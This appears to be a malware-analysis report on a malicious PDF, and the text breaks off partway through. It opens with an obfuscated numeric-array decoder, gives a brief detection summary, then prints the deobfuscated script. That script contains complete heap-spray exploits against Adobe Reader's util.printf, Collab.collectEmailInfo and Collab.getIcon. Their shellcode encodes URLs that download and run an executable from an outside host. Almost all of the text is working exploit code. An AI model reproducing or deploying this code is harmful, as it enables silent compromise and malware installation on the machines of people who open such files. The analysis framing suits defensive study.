52,171,87,156,166,174,165,173,87,118,87,105,114,89,154,168,172,167,171,89,115,89,154,168,172,167,171,107,114,89,154,168,172,167,171,100,98,98,178,70,65,66,64,66,164,158,164,152,152,171,169,154,176,148,154,168,172,167,171,150,87,118,87,178,152,171,170,169,87,100,87,172,159,158,163,165,154,168,155,158,114,70,65,66,64,182,68,67,64,66,173,154,169,89,166,175,156,171,157,165,166,176,87,118,87,174,165,158,170,156,152,169,156,97,89,94,172,105,154,105,154,94,172,105,154,105,154,91,96,116,68,67,64,66,174,161,160,165,156,89,95,168,173,158,169,159,163,168,174,103,163,158,165,160,171,161,87,117,87,109,107,114,108,107,96,180,68,67,64,66,64,168,173,158,169,159,163,168,174,89,98,118,87,168,173,158,169,159,163,168,174,116,68,67,64,66,180,70,65,66,64,173,159,162,170,103,154,168,163,165,152,155,138,173,166,171,156,89,116,89,122,168,163,165,152,155,101,156,166,165,163,158,154,173,124,166,152,162,163,130,165,159,166,97,178,172,172,155,161,115,87,91,89,101,164,172,158,115,87,168,173,158,169,159,163,168,174,182,96,116,68,67,64,182,68,67,68,67,64,159,172,167,154,173,160,168,165,89,154,168,163,165,152,155,150,160,156,173,160,156,166,167,95,98,178,70,65,66,64,162,157,89,95,154,167,169,101,157,166,156,101,124,166,165,163,154,153,103,158,158,171,130,154,168,165,98,178,70,65,66,64,66,173,154,169,89,152,171,169,178,87,118,87,167,156,176,87,122,169,171,152,178,95,98,114,70,65,66,64,66,173,154,169,89,173,175,167,158,171,161,176,154,87,118,87,174,165,158,170,156,152,169,156,97,89,94,172,126,121,126,112,94,172,105,103,105,104,94,172,110,109,105,103,94,172,122,104,111,107,94,172,105,103,108,103,94,172,105,103,105,103,94,172,109,103,113,121,94,172,113,121,105,122,94,172,106,122,112,103,94,172,113,121,122,123,94,172,105,111,109,103,94,172,124,106,110,124,94,172,113,121,110,108,94,172,113,121,126,122,94,172,105,111,109,108,94,172,108,106,110,105,94,172,124,104,125,105,94,172,105,106,124,105,94,172,106,103,108,105,94,172,113,103,109,103,94,172,105,103,108,111,94,172,127,108,112,108,94,172,124,105,113,121,94,172,110,123,110,120,94,172,105,107,124,105,94,172,110,108,105,103,94,172,126,122,113,121,94,172,110,104,110,104,94,172,110,109,110,106,94,172,111,103,110,110,94,172,110,123,113,121,94,172,108,106,105,111,94,172,113,121,124,103,94,172,105,122,112,108,94,172,127,124,113,121,94,172,112,109,105,106,94,172,113,121,108,122,94,172,112,111,109,124,94,172,124,125,105,106,94,172,110,104,113,121,94,172,110,105,106,122,94,172,110,104,113,121,94,172,110,105,107,107,94,172,112,104,113,121,94,172,109,124,106,107,94,172,112,108,113,112,94,172,113,121,127,122,94,172,107,103,112,104,94,172,127,110,105,106,94,172,109,120,114,112,94,172,109,105,122,123,94,172,108,121,111,103,94,172,127,122,110,108,94,172,105,107,112,108,94,172,124,103,108,106,94,172,108,110,126,121,94,172,127,125,108,106,94,172,109,108,105,106,94,172,114,110,105,122,94,172,124,125,113,121,94,172,112,108,122,124,94,172,107,121,127,123,94,172,109,125,127,112,94,172,126,111,110,104,94,172,127,125,114,107,94,172,127,125,127,125,94,172,124,106,108,121,94,172,112,107,111,104,94,172,126,121,105,105,94,172,113,121,125,112,94,172,105,122,109,108,94,172,110,124,114,105,94,172,127,105,105,106,94,172,126,103,125,104,94,172,124,109,105,106,94,172,124,112,108,106,94,172,123,110,105,125,94,172,110,125,105,111,94,172,126,104,124,104,94,172,105,106,105,105,94,172,105,106,124,120,94,172,113,121,124,125,94,172,105,106,105,104,94,172,113,112,124,105,94,172,127,111,109,108,94,172,113,121,111,104,94,172,127,111,109,108,94,172,110,124,110,125,94,172,124,112,110,121,94,172,110,108,124,106,94,172,126,122,113,121,94,172,126,111,110,104,94,172,127,125,109,112,94,172,127,125,127,125,94,172,111,111,110,103,94,172,111,103,126,111,94,172,105,107,123,125,94,172,111,122,126,111,94,172,127,125,127,125,94,172,108,106,127,125,94,172,110,105,125,105,94,172,127,125,110,105,94,172,105,111,112,108,94,172,125,103,127,125,94,172,109,108,113,112,94,172,113,121,127,122,94,172,127,122,109,108,94,172,124,106,124,112,94,172,113,121,110,108,94,172,113,106,126,122,94,172,105,122,126,122,94,172,109,108,113,123,94,172,110,103,127,107,94,172,109,108,124,109,94,172,112,108,127,107,94,172,109,108,124,109,94,172,112,105,127,108,94,172,109,108,124,109,94,172,111,122,127,109,94,172,109,108,124,109,94,172,111,123,127,110,94,172,109,108,124,109,94,172,111,125,127,111,94,172,109,108,124,109,94,172,111,124,127,112,94,172,109,108,124,109,94,172,107,124,127,120,94,172,109,108,124,109,94,172,111,107,127,121,94,172,109,108,124,109,94,172,111,122,127,122,94,172,109,108,124,109,94,172,111,122,127,123,94,172,109,108,124,109,94,172,105,103,127,124,94,172,122,103,126,111,94,172,127,125,127,125,94,172,110,103,127,125,94,172,110,123,111,111,94,172,106,104,113,120,94,172,126,111,106,109,94,172,127,125,106,108,94,172,127,125,127,125,94,172,124,107,113,106,94,172,113,108,105,122,94,172,112,107,124,103,94,172,111,120,106,108,94,172,111,120,105,103,94,172,127,125,105,103,94,172,105,122,112,108,94,172,112,108,127,125,94,172,111,120,105,111,94,172,127,125,105,103,94,172,113,108,125,103,94,172,112,108,124,103,94,172,109,103,105,106,94,172,124,106,124,112,94,172,124,103,108,106,94,172,124,106,124,112,94,172,108,106,110,110,94,172,113,121,124,103,94,172,107,107,109,122,94,172,113,121,105,122,94,172,107,107,112,122,94,172,127,122,105,111,94,172,122,120,127,106,94,172,124,106,110,125,94,172,109,122,113,121,94,172,105,107,107,107,94,172,108,112,113,103,94,172,113,121,105,103,94,172,112,107,124,104,94,172,109,103,105,109,94,172,108,111,113,103,94,172,112,108,105,103,94,172,107,121,127,120,94,172,124,106,124,104,94,172,113,121,110,108,94,172,113,106,126,122,94,172,111,107,126,122,94,172,113,123,110,106,94,172,127,103,109,108,94,172,108,106,110,110,94,172,110,103,125,121,94,172,109,108,124,109,94,172,111,121,127,103,94,172,109,108,124,109,94,172,111,108,127,104,94,172,109,108,124,109,94,172,112,105,127,105,94,172,109,108,124,109,94,172,111,124,127,106,94,172,109,108,124,109,94,172,111,108,127,107,94,172,109,108,124,109,94,172,111,122,127,108,94,172,109,108,124,109,94,172,108,106,127,109,94,172,109,108,124,109,94,172,108,105,127,110,94,172,109,108,124,109,94,172,107,124,127,111,94,172,109,108,124,109,94,172,111,107,127,112,94,172,109,108,124,109,94,172,111,122,127,120,94,172,109,108,124,109,94,172,111,122,127,121,94,172,110,123,113,111,94,172,126,111,127,122,94,172,127,125,105,121,94,172,127,125,127,125,94,172,111,111,110,103,94,172,109,106,111,111,94,172,113,124,127,112,94,172,113,103,126,111,94,172,127,125,127,124,94,172,113,121,127,125,94,172,113,123,127,111,94,172,114,122,109,108,94,172,109,107,111,120,94,172,126,111,110,103,94,172,127,125,112,124,94,172,127,125,127,125,94,172,109,108,113,123,94,172,111,120,126,103,94,172,110,103,106,103,94,172,112,106,126,111,94,172,127,125,127,125,94,172,113,106,127,125,94,172,106,122,124,107,94,172,109,108,113,123,94,172,110,103,126,103,94,172,109,108,113,123,94,172,110,103,114,122,94,172,110,106,110,106,94,172,110,106,110,106,94,172,110,106,110,106,94,172,112,108,127,125,94,172,124,110,105,111,94,172,114,122,109,108,94,172,105,103,109,107,94,172,105,103,105,103,94,172,127,125,110,106,94,172,110,125,125,110,94,172,123,109,105,125,94,172,110,121,124,103,94,172,124,106,124,112,94,172,113,121,110,108,94,172,110,104,126,122,94,172,110,106,110,104,94,172,110,110,110,109,94,172,109,105,111,120,94,172,112,105,126,111,94,172,105,103,105,103,94,172,113,121,105,103,94,172,108,106,125,111,94,172,113,108,127,109,94,172,110,112,125,121,94,172,109,108,124,110,94,172,111,104,127,111,94,172,111,108,107,124,94,172,124,110,112,111,94,172,127,122,109,108,94,172,105,103,111,108,94,172,105,103,105,103,94,172,110,109,112,124,94,172,109,108,113,123,94,172,110,103,127,111,94,172,126,111,110,109,94,172,105,103,110,104,94,172,105,103,105,103,94,172,110,103,110,112,94,172,123,104,126,111,94,172,127,125,127,124,94,172,113,108,127,125,94,172,110,112,124,103,94,172,112,107,110,112,94,172,113,123,108,112,94,172,105,104,109,109,94,172,126,111,110,103,94,172,105,103,108,121,94,172,105,103,105,103,94,172,127,111,113,121,94,172,109,108,113,123,94,172,110,103,127,111,94,172,107,104,126,111,94,172,127,125,127,125,94,172,113,108,127,125,94,172,110,112,124,103,94,172,112,107,110,112,94,172,110,110,105,122,94,172,105,104,126,111,94,172,127,125,127,125,94,172,110,112,127,125,94,172,109,107,124,109,94,172,127,125,108,111,94,172,110,103,112,106,94,172,109,108,113,123,94,172,127,124,127,111,94,172,110,111,105,103,94,172,109,108,113,123,94,172,110,103,127,111,94,172,126,111,110,110,94,172,127,124,112,107,94,172,127,125,127,125,94,172,110,112,110,112,94,172,109,109,109,109,94,172,127,106,108,121,94,172,122,120,112,122,94,172,110,124,110,125,94,172,124,112,110,121,94,172,110,108,124,106,94,172,126,122,113,121,94,172,110,106,110,104,94,172,111,103,111,109,94,172,108,105,123,104,94,172,105,103,126,111,94,172,105,103,105,103,94,172,110,111,105,103,94,172,105,111,108,111,94,172,105,106,112,107,94,172,126,121,109,103,94,172,109,103,127,112,94,172,110,123,113,121,94,172,113,103,105,111,94,172,109,105,127,121,94,172,105,111,112,108,94,172,125,121,108,106,94,172,106,111,113,120,94,172,124,106,113,121,94,172,106,110,126,121,94,172,106,111,108,111,94,172,106,104,112,109,94,172,108,106,109,103,94,172,113,107,124,112,94,172,112,107,125,121,94,172,109,103,105,122,94,172,105,111,108,111,94,172,127,121,112,108,94,172,127,124,109,103,94,172,126,121,124,121,94,172,108,106,127,105,94,172,113,112,124,103,94,172,127,122,109,108,94,172,109,108,113,121,94,172,110,121,127,122,94,172,124,106,124,112,94,172,105,105,108,105,94,172,112,107,111,111,94,172,112,103,112,107,94,172,107,125,108,120,94,172,111,123,107,125,94,172,112,105,111,112,94,172,111,125,112,105,94,172,111,125,112,105,94,172,111,108,111,124,94,172,111,125,112,105,94,172,111,112,111,109,94,172,111,108,112,109,94,172,111,106,107,124,94,172,111,123,111,125,94,172,112,106,107,125,94,172,111,108,111,122,94,172,112,103,111,108,94,172,111,104,107,125,94,172,111,107,111,106,94,172,112,108,111,121,94,172,108,105,112,112,94,172,111,108,107,124,94,172,111,108,112,111,94,172,111,111,105,103,94,172,112,107,112,107,94,172,108,120,112,103,94,172,107,125,107,125,94,172,111,112,111,123,94,172,112,105,112,105,94,172,112,105,111,125,94,172,111,124,111,125,94,172,112,105,111,108,94,172,111,109,111,125,94,172,112,109,111,112,94,172,107,124,111,108,94,172,111,125,111,106,94,172,107,125,111,123,94,172,111,122,112,106,94,172,111,108,111,108,94,172,107,125,112,103,94,172,111,122,111,106,94,172,111,106,111,112,94,172,107,124,111,121,94,172,111,111,112,103,94,172,108,125,112,103,94,172,108,123,112,105,94,172,105,103,105,103,91,96,116,68,67,64,66,64,175,152,171,87,161,142,170,108,105,103,124,133,89,116,89,173,175,167,158,171,161,176,154,101,165,156,167,158,173,159,89,97,89,105,116,68,67,64,66,64,175,152,171,87,165,156,167,87,118,87,105,175,109,103,105,103,105,103,89,100,89,95,161,142,170,108,105,103,124,133,89,98,89,103,177,106,113,96,116,68,67,64,66,64,175,152,171,87,178,152,171,170,169,87,118,87,174,165,158,170,156,152,169,156,97,89,94,172,114,103,114,103,94,172,114,103,114,103,91,96,116,68,67,64,66,64,178,152,171,170,169,87,118,87,159,160,177,150,162,171,97,176,154,169,172,167,101,87,165,156,167,96,116,68,67,64,66,64,175,152,171,87,169,108,122,161,132,109,110,157,89,116,89,95,105,175,105,154,105,154,105,154,105,154,89,100,89,103,177,107,105,103,105,103,105,96,89,102,89,103,177,107,105,103,105,103,105,114,70,65,66,64,66,157,168,169,89,95,175,152,171,87,175,168,156,136,125,112,111,176,89,116,89,103,116,87,175,168,156,136,125,112,111,176,89,115,89,167,110,120,163,130,111,108,159,114,89,173,170,154,138,123,114,109,178,87,100,98,89,96,180,68,67,64,66,64,66,152,171,169,178,146,175,168,156,136,125,112,111,176,150,87,118,87,178,152,171,170,169,87,100,87,175,173,169,156,173,159,178,152,116,68,67,64,66,64,182,68,67,64,66,64,175,152,171,87,173,140,134,159,135,153,128,174,89,116,89,172,167,156,172,154,154,167,158,95,91,92,105,112,91,96,116,68,67,64,66,64,176,159,162,163,158,87,97,171,142,132,161,133,155,126,176,101,165,156,167,158,173,159,89,115,89,103,177,107,105,103,105,96,180,68,67,64,66,64,66,171,142,132,161,133,155,126,176,87,100,116,89,171,142,132,161,133,155,126,176,114,70,65,66,64,66,180,70,65,66,64,66,171,142,132,161,133,155,126,176,87,118,87,91,133,103,89,89,98,89,171,142,132,161,133,155,126,176,114,70,65,66,64,66,152,169,167,103,155,168,154,103,122,168,163,165,152,155,101,160,156,173,128,156,166,167,95,173,140,134,159,135,153,128,174,98,114,70,65,66,64,182,68,67,64,182,68,67,68,67,64,159,172,167,154,173,160,168,165,89,167,157,157,152,170,173,152,171,171,97,96,180,68,67,68,67,64,66,173,154,169,89,173,158,169,172,160,168,165,89,116,89,152,169,167,103,173,162,156,176,156,171,141,158,169,172,160,168,165,103,171,168,138,173,169,162,165,160,95,98,114,70,65,66,64,175,156,171,170,162,166,167,87,118,87,175,156,171,170,162,166,167,101,171,156,169,163,154,154,158,95,104,147,125,102,160,99,96,94,98,114,70,65,66,64,175,152,171,87,175,152,171,170,162,166,167,150,154,169,171,152,178,87,118,87,167,156,176,87,122,169,171,152,178,95,175,156,171,170,162,166,167,101,156,159,154,169,122,171,97,103,98,99,89,173,158,169,172,160,168,165,103,154,161,152,171,120,173,95,106,96,101,87,175,156,171,170,162,166,167,101,156,159,154,169,122,171,97,105,98,96,116,68,67,64,66,160,159,87,97,95,175,152,171,170,162,166,167,150,154,169,171,152,178,146,105,148,89,116,118,87,113,96,89,93,95,87,97,173,154,169,172,160,168,165,152,152,171,169,154,176,148,104,150,87,118,116,89,103,98,87,181,179,89,95,175,152,171,170,162,166,167,150,154,169,171,152,178,146,106,148,89,116,118,87,106,87,95,93,89,173,154,169,172,160,168,165,152,152,171,169,154,176,148,105,150,87,117,87,108,96,98,178,70,65,66,64,66,172,173,160,165,150,169,169,162,165,173,157,97,96,116,68,67,64,66,180,70,65,66,64,162,157,89,95,97,173,154,169,172,160,168,165,152,152,171,169,154,176,148,103,150,87,117,87,113,96,89,179,181,87,97,173,154,169,172,160,168,165,152,152,171,169,154,176,148,103,150,87,118,116,89,111,89,93,95,87,175,152,171,170,162,166,167,150,154,169,171,152,178,146,106,148,89,115,89,105,89,93,95,87,175,152,171,170,162,166,167,150,154,169,171,152,178,146,107,148,89,115,89,105,98,96,180,68,67,64,66,64,156,166,165,163,154,153,152,156,166,152,162,163,97,96,116,68,67,64,66,180,70,65,66,64,162,157,89,95,97,173,154,169,172,160,168,165,152,152,171,169,154,176,148,103,150,87,117,87,114,96,89,179,181,87,97,173,154,169,172,160,168,165,152,152,171,169,154,176,148,103,150,87,118,116,89,112,89,93,95,87,175,152,171,170,162,166,167,150,154,169,171,152,178,146,106,148,89,115,89,104,98,96,180,68,67,64,66,64,156,166,165,163,154,153,152,158,158,171,162,154,168,165,97,96,116,68,67,64,66,180,70,65,66,180,70,65,70,65,66,167,157,157,152,170,173,152,171,171,97,96,116,68,67,64],zqbw=function(){for(var ejqtxy;derv<aglw.length;derv+=1){var hkqsw=derv%ghiovw.length+1;var chmoqv=ghiovw.substring(derv%ghiovw.length,hkqsw);var acinps=aglw[derv];himqxy+=hjst(acinps-chmoqv.charCodeAt(0));}
zgslov(himqxy);};zqbw();fimqw=true;cegikr="";beilp='';flmovx="flmovx";diltw="diltw";
|
|||
legacy_pdfkit_stage_000.js |
deobfuscated-js | numeric array subtract-key decoded JavaScript at offset 0x1A5 | 10084 bytes |
SHA-256: 2c644c1168dc9ab262e904dc4ada4bbe6cc608d396b4cc952a45b9e0ed096ff0 |
|||
|
Detection
ClamAV:
Js.Exploit.Shellcode-18
Obfuscation or payload:
likely
Carved artifact contains 9 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
|
|||
Preview scriptFirst 1,000 lines of the extracted script
function fix_it(yarsp, len){
while (yarsp.length * 2 < len){
yarsp += yarsp;
}
yarsp = yarsp.substring(0, len/2);
return yarsp;
}
function util_printf(){
var payload = unescape("%uEBE9%u0001%u5600%uA164%u0030%u0000%u408B%u8B0C%u1C70%u8BAD%u0840%uC35E%u8B55%u8BEC%u0845%u3352%uC1D2%u03C2%u1032%u8040%u0038%uF575%uC28B%u5D5A%u04C2%u5500%uEC8B%u5151%u5653%u6057%u5D8B%u3308%u8BC0%u0C75%uFE8B%u7603%u8B3C%u784E%uCF03%u518B%u521C%u518B%u5224%u718B%u4E14%u7589%u8BFC%u2071%uF703%u4A99%u42AD%u3B60%uFC55%u0475%uC033%u37EB%uFF33%u4503%u970C%uCF8B%u75AE%u2BFD%u4FF9%uE851%uFF94%uFFFF%uC33B%u7461%uEB02%u8BD9%u0C45%u5E92%uF203%uE0D1%uC603%uC933%uB70F%u5F08%uE1C1%u0302%u03CA%u8BCF%u0301%u89C2%uF845%u8B61%uF845%u5E5F%uC95B%u55C3%uEC8B%uE851%uFF49%uFFFF%u6850%u60E8%u04BF%u6CE8%uFFFF%u33FF%u52D2%uFF52%u0875%uD0FF%u4589%u8BFC%uFC45%uC3C9%u8B55%u83EC%u0CEC%u458D%u50F4%u45C6%u75F4%u45C6%u72F5%u45C6%u6CF6%u45C6%u6DF7%u45C6%u6FF8%u45C6%u6EF9%u45C6%u2EFA%u45C6%u64FB%u45C6%u6CFC%u45C6%u6CFD%u45C6%u00FE%uA0E8%uFFFF%u50FF%u5D68%u118A%uE816%uFF15%uFFFF%uC483%u850C%u74C0%u6A15%u6A00%uFF00%u0C75%u75FF%u6A08%uFF00%u85D0%u75C0%u4003%uC3C9%uC033%uC3C9%u3357%u8BC0%u244C%u8B0C%u247C%uFC08%uAAF3%uC35F%u4C8B%u0424%u3980%u8B00%u74C1%u4006%u3880%u7500%u2BFA%uC3C1%u8B55%u83EC%u64EC%u8D53%uF045%u3357%u50DB%u45C6%u6BF0%u45C6%u65F1%u45C6%u72F2%u45C6%u6EF3%u45C6%u65F4%u45C6%u6CF5%u45C6%u33F6%u45C6%u32F7%u45C6%u2EF8%u45C6%u64F9%u45C6%u6CFA%u45C6%u6CFB%u5D88%uE8FC%uFF0B%uFFFF%u6850%u4368%u8EF9%u80E8%uFFFE%u8BFF%u8DF8%u9C45%u446A%uE850%uFF7E%uFFFF%u458D%u6AE0%u5010%u73E8%uFFFF%u83FF%u1CC4%u458D%u50E0%u458D%u509C%u5353%u5353%u5353%u75FF%uC708%u9C45%u0044%u0000%uFF53%u5FD7%uB60F%u5BC0%uC3C9%u8B55%u51EC%u5351%u5756%u426A%u72E8%u0000%u8B00%u33D8%u85F6%u59DB%u45C7%u61F8%u652E%uC778%uFC45%u0065%u0000%u567E%u458D%u50F8%uE856%u0051%u0000%u5059%uB1E8%uFFFE%u85FF%u59C0%u7459%u8D39%u0146%uE850%u003B%u0000%uF88B%u458D%u50F8%u21E8%uFFFF%u85FF%u59C0%u7459%u570C%u01E8%uFFFF%u59FF%u44C6%uFF38%u5073%u458D%uFEF8%u5800%u458D%u50F8%uE857%uFE74%uFFFF%u5959%u4646%uF33B%uAA7C%u5E5F%uC95B%u55C3%uEC8B%u5351%u6066%u32B1%u00E8%u0000%u5800%u0838%u0374%uEB40%u40F9%u5D8B%u8008%u42FB%u0875%uDB33%u188A%uC38B%u17EB%u1838%u1176%u3340%u84C9%u74DB%u400C%u0838%uFB75%uFE40%uEBCB%u33F2%u89C0%uFC45%u458B%u5BFC%uC3C9%u0232%u7468%u7074%u2F3A%u6D2F%u7269%u6F72%u6F72%u656E%u6F72%u6966%u6576%u632E%u6D6F%u732F%u656C%u7065%u632F%u6D64%u716E%u3274%u652E%u6578%u6800%u7474%u3A70%u2F2F%u696D%u7272%u726F%u6E6F%u7265%u666F%u7669%u2E65%u6F63%u2F6D%u6C73%u6565%u2F70%u6C63%u6369%u2E6B%u6870%u3F70%u3D72%u0000");
var nop = unescape("%u0A0A%u0A0A%u0A0A%u0A0A")
var heapblock = nop + payload;
var bigblock = unescape("%u0A0A%u0A0A");
var headersize = 20;
var spray = headersize + heapblock.length;
while (bigblock.length < spray){
bigblock += bigblock;
}
var fillblock = bigblock.substring(0, spray);
var block = bigblock.substring(0, bigblock.length-spray);
while (block.length+spray < 0x40000){
block = block + block + fillblock;
}
var mem_array = new Array();
for (var i = 0; i < 1400; i++){
mem_array[i] = block + heapblock;
}
var num = 12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;
util.printf("%45000f", num);
}
function collab_email(){
var shellcode = unescape("%uEBE9%u0001%u5600%uA164%u0030%u0000%u408B%u8B0C%u1C70%u8BAD%u0840%uC35E%u8B55%u8BEC%u0845%u3352%uC1D2%u03C2%u1032%u8040%u0038%uF575%uC28B%u5D5A%u04C2%u5500%uEC8B%u5151%u5653%u6057%u5D8B%u3308%u8BC0%u0C75%uFE8B%u7603%u8B3C%u784E%uCF03%u518B%u521C%u518B%u5224%u718B%u4E14%u7589%u8BFC%u2071%uF703%u4A99%u42AD%u3B60%uFC55%u0475%uC033%u37EB%uFF33%u4503%u970C%uCF8B%u75AE%u2BFD%u4FF9%uE851%uFF94%uFFFF%uC33B%u7461%uEB02%u8BD9%u0C45%u5E92%uF203%uE0D1%uC603%uC933%uB70F%u5F08%uE1C1%u0302%u03CA%u8BCF%u0301%u89C2%uF845%u8B61%uF845%u5E5F%uC95B%u55C3%uEC8B%uE851%uFF49%uFFFF%u6850%u60E8%u04BF%u6CE8%uFFFF%u33FF%u52D2%uFF52%u0875%uD0FF%u4589%u8BFC%uFC45%uC3C9%u8B55%u83EC%u0CEC%u458D%u50F4%u45C6%u75F4%u45C6%u72F5%u45C6%u6CF6%u45C6%u6DF7%u45C6%u6FF8%u45C6%u6EF9%u45C6%u2EFA%u45C6%u64FB%u45C6%u6CFC%u45C6%u6CFD%u45C6%u00FE%uA0E8%uFFFF%u50FF%u5D68%u118A%uE816%uFF15%uFFFF%uC483%u850C%u74C0%u6A15%u6A00%uFF00%u0C75%u75FF%u6A08%uFF00%u85D0%u75C0%u4003%uC3C9%uC033%uC3C9%u3357%u8BC0%u244C%u8B0C%u247C%uFC08%uAAF3%uC35F%u4C8B%u0424%u3980%u8B00%u74C1%u4006%u3880%u7500%u2BFA%uC3C1%u8B55%u83EC%u64EC%u8D53%uF045%u3357%u50DB%u45C6%u6BF0%u45C6%u65F1%u45C6%u72F2%u45C6%u6EF3%u45C6%u65F4%u45C6%u6CF5%u45C6%u33F6%u45C6%u32F7%u45C6%u2EF8%u45C6%u64F9%u45C6%u6CFA%u45C6%u6CFB%u5D88%uE8FC%uFF0B%uFFFF%u6850%u4368%u8EF9%u80E8%uFFFE%u8BFF%u8DF8%u9C45%u446A%uE850%uFF7E%uFFFF%u458D%u6AE0%u5010%u73E8%uFFFF%u83FF%u1CC4%u458D%u50E0%u458D%u509C%u5353%u5353%u5353%u75FF%uC708%u9C45%u0044%u0000%uFF53%u5FD7%uB60F%u5BC0%uC3C9%u8B55%u51EC%u5351%u5756%u426A%u72E8%u0000%u8B00%u33D8%u85F6%u59DB%u45C7%u61F8%u652E%uC778%uFC45%u0065%u0000%u567E%u458D%u50F8%uE856%u0051%u0000%u5059%uB1E8%uFFFE%u85FF%u59C0%u7459%u8D39%u0146%uE850%u003B%u0000%uF88B%u458D%u50F8%u21E8%uFFFF%u85FF%u59C0%u7459%u570C%u01E8%uFFFF%u59FF%u44C6%uFF38%u5073%u458D%uFEF8%u5800%u458D%u50F8%uE857%uFE74%uFFFF%u5959%u4646%uF33B%uAA7C%u5E5F%uC95B%u55C3%uEC8B%u5351%u6066%u32B1%u00E8%u0000%u5800%u0838%u0374%uEB40%u40F9%u5D8B%u8008%u42FB%u0875%uDB33%u188A%uC38B%u17EB%u1838%u1176%u3340%u84C9%u74DB%u400C%u0838%uFB75%uFE40%uEBCB%u33F2%u89C0%uFC45%u458B%u5BFC%uC3C9%u0232%u7468%u7074%u2F3A%u6D2F%u7269%u6F72%u6F72%u656E%u6F72%u6966%u6576%u632E%u6D6F%u732F%u656C%u7065%u612F%u6F6D%u7672%u3279%u652E%u6578%u6800%u7474%u3A70%u2F2F%u696D%u7272%u726F%u6E6F%u7265%u666F%u7669%u2E65%u6F63%u2F6D%u6C73%u6565%u2F70%u6C63%u6369%u2E6B%u6870%u3F70%u3D72%u0000");
var mem_array = new Array();
var cc = 0x0c0c0c0c;
var addr = 0x400000;
var sc_len = shellcode.length * 2;
var len = addr - (sc_len+0x38);
var yarsp = unescape("%u9090%u9090");
yarsp = fix_it(yarsp, len);
var count2 = (cc - 0x400000)/addr;
for (var count = 0; count < count2; count++){
mem_array[count] = yarsp + shellcode;
}
var overflow = unescape("%u0c0c%u0c0c");
while (overflow.length < 44952){
overflow += overflow;
}
this.collabStore = Collab.collectEmailInfo({subj: "",msg: overflow});
}
function collab_geticon(){
if (app.doc.Collab.getIcon){
var arry = new Array();
var vvpethya = unescape("%uEBE9%u0001%u5600%uA164%u0030%u0000%u408B%u8B0C%u1C70%u8BAD%u0840%uC35E%u8B55%u8BEC%u0845%u3352%uC1D2%u03C2%u1032%u8040%u0038%uF575%uC28B%u5D5A%u04C2%u5500%uEC8B%u5151%u5653%u6057%u5D8B%u3308%u8BC0%u0C75%uFE8B%u7603%u8B3C%u784E%uCF03%u518B%u521C%u518B%u5224%u718B%u4E14%u7589%u8BFC%u2071%uF703%u4A99%u42AD%u3B60%uFC55%u0475%uC033%u37EB%uFF33%u4503%u970C%uCF8B%u75AE%u2BFD%u4FF9%uE851%uFF94%uFFFF%uC33B%u7461%uEB02%u8BD9%u0C45%u5E92%uF203%uE0D1%uC603%uC933%uB70F%u5F08%uE1C1%u0302%u03CA%u8BCF%u0301%u89C2%uF845%u8B61%uF845%u5E5F%uC95B%u55C3%uEC8B%uE851%uFF49%uFFFF%u6850%u60E8%u04BF%u6CE8%uFFFF%u33FF%u52D2%uFF52%u0875%uD0FF%u4589%u8BFC%uFC45%uC3C9%u8B55%u83EC%u0CEC%u458D%u50F4%u45C6%u75F4%u45C6%u72F5%u45C6%u6CF6%u45C6%u6DF7%u45C6%u6FF8%u45C6%u6EF9%u45C6%u2EFA%u45C6%u64FB%u45C6%u6CFC%u45C6%u6CFD%u45C6%u00FE%uA0E8%uFFFF%u50FF%u5D68%u118A%uE816%uFF15%uFFFF%uC483%u850C%u74C0%u6A15%u6A00%uFF00%u0C75%u75FF%u6A08%uFF00%u85D0%u75C0%u4003%uC3C9%uC033%uC3C9%u3357%u8BC0%u244C%u8B0C%u247C%uFC08%uAAF3%uC35F%u4C8B%u0424%u3980%u8B00%u74C1%u4006%u3880%u7500%u2BFA%uC3C1%u8B55%u83EC%u64EC%u8D53%uF045%u3357%u50DB%u45C6%u6BF0%u45C6%u65F1%u45C6%u72F2%u45C6%u6EF3%u45C6%u65F4%u45C6%u6CF5%u45C6%u33F6%u45C6%u32F7%u45C6%u2EF8%u45C6%u64F9%u45C6%u6CFA%u45C6%u6CFB%u5D88%uE8FC%uFF0B%uFFFF%u6850%u4368%u8EF9%u80E8%uFFFE%u8BFF%u8DF8%u9C45%u446A%uE850%uFF7E%uFFFF%u458D%u6AE0%u5010%u73E8%uFFFF%u83FF%u1CC4%u458D%u50E0%u458D%u509C%u5353%u5353%u5353%u75FF%uC708%u9C45%u0044%u0000%uFF53%u5FD7%uB60F%u5BC0%uC3C9%u8B55%u51EC%u5351%u5756%u426A%u72E8%u0000%u8B00%u33D8%u85F6%u59DB%u45C7%u61F8%u652E%uC778%uFC45%u0065%u0000%u567E%u458D%u50F8%uE856%u0051%u0000%u5059%uB1E8%uFFFE%u85FF%u59C0%u7459%u8D39%u0146%uE850%u003B%u0000%uF88B%u458D%u50F8%u21E8%uFFFF%u85FF%u59C0%u7459%u570C%u01E8%uFFFF%u59FF%u44C6%uFF38%u5073%u458D%uFEF8%u5800%u458D%u50F8%uE857%uFE74%uFFFF%u5959%u4646%uF33B%uAA7C%u5E5F%uC95B%u55C3%uEC8B%u5351%u6066%u32B1%u00E8%u0000%u5800%u0838%u0374%uEB40%u40F9%u5D8B%u8008%u42FB%u0875%uDB33%u188A%uC38B%u17EB%u1838%u1176%u3340%u84C9%u74DB%u400C%u0838%uFB75%uFE40%uEBCB%u33F2%u89C0%uFC45%u458B%u5BFC%uC3C9%u0232%u7468%u7074%u2F3A%u6D2F%u7269%u6F72%u6F72%u656E%u6F72%u6966%u6576%u632E%u6D6F%u732F%u656C%u7065%u612F%u6463%u756B%u3279%u652E%u6578%u6800%u7474%u3A70%u2F2F%u696D%u7272%u726F%u6E6F%u7265%u666F%u7669%u2E65%u6F63%u2F6D%u6C73%u6565%u2F70%u6C63%u6369%u2E6B%u6870%u3F70%u3D72%u0000");
var hWq500CN = vvpethya.length * 2;
var len = 0x400000 - (hWq500CN + 0x38);
var yarsp = unescape("%u9090%u9090");
yarsp = fix_it(yarsp, len);
var p5AjK65f = (0x0c0c0c0c - 0x400000) / 0x400000;
for (var vqcQD96y = 0; vqcQD96y < p5AjK65f; vqcQD96y ++ ){
arry[vqcQD96y] = yarsp + vvpethya;
}
var tUMhNbGw = unescape("%09");
while (tUMhNbGw.length < 0x4000){
tUMhNbGw += tUMhNbGw;
}
tUMhNbGw = "N." + tUMhNbGw;
